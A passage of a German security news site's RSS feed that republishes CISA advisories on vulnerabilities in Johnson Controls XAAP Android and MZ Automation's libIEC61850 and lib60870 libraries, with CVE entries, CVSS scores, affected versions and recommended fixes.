<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Harrison Neal reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities. CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Republication of Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Johnson Controls XAAP Android]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could result in an attacker obtaining confidential information from the device.
The following versions of Johnson Controls XAAP Android are affected:

XAAP Android]]></description>
<link>https://tsecurity.de/de/3689941/it-security-nachrichten/johnson-controls-xaap-android/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689941/it-security-nachrichten/johnson-controls-xaap-android/</guid>
<pubDate>Thu, 23 Jul 2026 20:17:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-02.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could result in an attacker obtaining confidential information from the device.</strong></p>
<p>The following versions of Johnson Controls XAAP Android are affected:</p>
<ul>
<li>XAAP Android &lt;1.53</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 3.3</td>
<td>Johnson Controls</td>
<td>Johnson Controls XAAP Android</td>
<td>Cleartext Storage of Sensitive Information</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Ireland</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-34490</a></h3>
<div class="csaf-accordion-content">
<p>A cleartext storage weakness exists in the Fire Solutions Android application, which stores application data locally on the device without encryption. An attacker with physical access to the device and one able to compromise the device through a separate, unrelated flaw, could potentially read this data in plaintext. Exploitation does not require network access and is limited to the local device environment.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-34490">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls XAAP Android</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls XAAP Android: &lt;1.53</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Johnson Controls recommends users update the XAAP Android application to version 1.53 or later, which contains the fix for this vulnerability.</p>
<p><strong>Mitigation</strong><br>Johnson Controls recommends users restrict physical access to devices running the XAAP Android application.</p>
<p><strong>Mitigation</strong><br>Johnson Controls recommends users ensure devices are hardened with up-to-date Android OS versions, device encryption enabled, and screen lock protections in place.</p>
<p><strong>Mitigation</strong><br>Johnson Controls recommends users implement a Mobile Device Management (MDM) solution to enforce security policies, including encryption requirements, application whitelisting, and remote wipe capabilities.</p>
<p><strong>Mitigation</strong><br>Johnson Controls recommends users Avoid rooting or jailbreaking devices used in production environments, as this weakens OS-level security controls that help protect local application data.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisory JCI-PSA-2026-10.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/312.html">CWE-312 Cleartext Storage of Sensitive Information</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.3</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>4.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Johnson Controls reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time. This vulnerability is not exploitable remotely.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Republication of Johnson Controls JCI-PSA-2026-10</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[MZ Automation libIEC61850]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an unauthenticated network-adjacent attacker to crash critical IEC 61850 services or execute arbitrary code, disrupting or compromising protection, visibility, and control functions.
The following versions of MZ Automa...]]></description>
<link>https://tsecurity.de/de/3689940/it-security-nachrichten/mz-automation-libiec61850/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689940/it-security-nachrichten/mz-automation-libiec61850/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-06.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an unauthenticated network-adjacent attacker to crash critical IEC 61850 services or execute arbitrary code, disrupting or compromising protection, visibility, and control functions.</strong></p>
<p>The following versions of MZ Automation libIEC61850 are affected:</p>
<ul>
<li>libIEC61850 &gt;=v1.0.0|&lt;=v1.6.1 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.1</td>
<td>MZ Automation</td>
<td>MZ Automation libIEC61850</td>
<td>Stack-based Buffer Overflow, Heap-based Buffer Overflow, Improper Handling of Syntactically Invalid Structure, NULL Pointer Dereference</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Energy, Transportation Systems</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50039</a></h3>
<div class="csaf-accordion-content">
<p>The affected product is vulnerable to a stack-based buffer overflow, which may allow an attacker to cause a memory corruption via a ReadRequest.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50039">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation libIEC61850</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation libIEC61850: &gt;=v1.0.0|&lt;=v1.6.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.<br><a href="https://github.com/mz-automation/libiec61850">https://github.com/mz-automation/libiec61850</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/121.html">CWE-121 Stack-based Buffer Overflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-49035</a></h3>
<div class="csaf-accordion-content">
<p>The affected product is vulnerable to a heap-based buffer overflow via a crafted MMS Initiate request. Remote code execution (RCE) has been demonstrated when ASLR is disabled; memory corruption or denial of service may occur in configurations where ASLR is enabled.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-49035">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation libIEC61850</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation libIEC61850: &gt;=v1.0.0|&lt;=v1.6.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.<br><a href="https://github.com/mz-automation/libiec61850">https://github.com/mz-automation/libiec61850</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/122.html">CWE-122 Heap-based Buffer Overflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.2</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50103</a></h3>
<div class="csaf-accordion-content">
<p>A NULL pointer dereference in the L2 GOOSE and R-GOOSE shared parser, which may allow a network-adjacent attacker to crash a subscribing application by sending a crafted GOOSE frame containing a malformed TLV value.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50103">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation libIEC61850</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation libIEC61850: &gt;=v1.0.0|&lt;=v1.6.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.<br><a href="https://github.com/mz-automation/libiec61850">https://github.com/mz-automation/libiec61850</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/228.html">CWE-228 Improper Handling of Syntactically Invalid Structure</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50032</a></h3>
<div class="csaf-accordion-content">
<p>A NULL pointer dereference in the MMS Write Named Variable List handler, which may allow a network adjacent attacker to crash the server by sending a WriteRequest with an empty listOfData field.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50032">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation libIEC61850</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation libIEC61850: &gt;=v1.0.0|&lt;=v1.6.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.<br><a href="https://github.com/mz-automation/libiec61850">https://github.com/mz-automation/libiec61850</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Abhinav Agarwal reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[MZ Automation lib60870]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could cause the parsing process to crash, which will cause a denial of service.
The following versions of MZ Automation lib60870 are affected:

lib60870]]></description>
<link>https://tsecurity.de/de/3689939/it-security-nachrichten/mz-automation-lib60870/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689939/it-security-nachrichten/mz-automation-lib60870/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-07.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could cause the parsing process to crash, which will cause a denial of service.</strong></p>
<p>The following versions of MZ Automation lib60870 are affected:</p>
<ul>
<li>lib60870 &lt;=2.4.0</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.2</td>
<td>MZ Automation</td>
<td>MZ Automation lib60870</td>
<td>Out-of-bounds Read</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Chemical, Energy, Water and Wastewater</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-16002</a></h3>
<div class="csaf-accordion-content">
<p>The affected product is vulnerable to an Out-of-bounds read, which may allow an attacker to crash the parsing process and cause a denial of service.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-16002">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation lib60870</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation lib60870: &lt;=2.4.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ automation recommends users update to version 2.4.1 or later. Documentation can be found at https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv.<br><a href="https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv">https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Lars Tray reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this (these) vulnerability(ies).</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
